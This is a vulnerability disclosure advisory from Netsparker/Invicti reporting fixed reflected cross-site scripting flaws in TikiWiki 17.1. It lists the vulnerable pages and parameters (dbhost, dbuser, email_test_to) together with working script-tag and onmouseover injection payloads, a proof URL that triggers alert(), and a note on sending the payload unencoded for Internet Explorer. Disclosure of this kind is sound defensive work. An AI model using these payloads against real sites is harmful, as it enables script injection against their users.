Multiple Cross-site Scripting Vulnerabilities in TikiWiki 17.1

Information
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Advisory by Netsparker (now Invicti)
Name: Cross-site Scripting Vulnerabilities in TikiWiki
Affected Software: TikiWiki
Affected Versions: 17.1
Homepage: https://tiki.org/tiki-index.php
Vulnerability: Cross-site Scripting  Vulnerabilities
Severity: High
Status: Fixed
Invicti Advisory Reference: NS-18-010

Technical Details
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URL  http://app.scan/ScanApp/tiki-17.1/tiki-check.php?phpinfo=y
Parameter Name  dbhost
Parameter Type  POST
Attack Pattern  %3cscRipt%3enetsparker(0x0023B8)%3c%2fscRipt%3e

URL  http://app.scan/ScanApp/tiki-17.1/tiki-check.php?phpinfo=y
Parameter Name  dbhost
Parameter Type  POST
Attack Pattern  %3cscRipt%3enetsparker(0x005AF2)%3c%2fscRipt%3e

URL  http://app.scan/ScanApp/tiki-17.1/tiki-check.php
Parameter Name  email_test_to
Parameter Type  POST
Attack Pattern  %3cscRipt%3enetsparker(0x001E5A)%3c%2fscRipt%3e

URL  http://app.scan/ScanApp/tiki-17.1/tiki-check.php?phpinfo=y
Parameter Name  email_test_to
Parameter Type  POST
Attack Pattern  %3cscRipt%3enetsparker(0x0023B5)%3c%2fscRipt%3e

URL  http://app.scan/ScanApp/tiki-17.1/tiki-check.php?phpinfo=y
Parameter Name  dbuser
Parameter Type  POST
Attack Pattern  %3cscRipt%3enetsparker(0x005AF6)%3c%2fscRipt%3e

URL  http://app.scan/ScanApp/tiki-17.1/tiki-check.php
Parameter Name  dbhost
Parameter Type  POST
Attack Pattern  %3cscRipt%3enetsparker(0x001E5C)%3c%2fscRipt%3e

URL  http://app.scan/ScanApp/tiki-17.1/tiki-check.php?'"--></style></scRipt><scRipt>netsparker(0x0015D8)</scRipt> (IE ONLY)
Notes  For successful exploitation, payload may need to be sent without URL encoding. Modern browsers will encode the HTML tags in the request before it is being sent to the webserver, however it is still possible in Internet Explorer.
Proof URL  http://app.scan/ScanApp/tiki-17.1/tiki-check.php?'"--></style></scRipt><scRipt>alert(0x0015D8)</scRipt>
Parameter Name  Query Based
Parameter Type  Query String
Attack Pattern  '"--></style></scRipt><scRipt>netsparker(0x0015D8)</scRipt>

URL  http://app.scan/ScanApp/tiki-17.1/tiki-install.php
Parameter Name  email_test_to
Parameter Type  POST
Attack Pattern  x%22+onmouseover%3dnetsparker(0x0015DC)+x%3d%22

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
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5th October 2017 - First Contact
1st March 2018 - Vendor Fixed
12th July 2018 - Advisory Released

Credits & Authors
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These issues have been discovered by Omar Kurt while testing Invicti Web Application Security Scanner.

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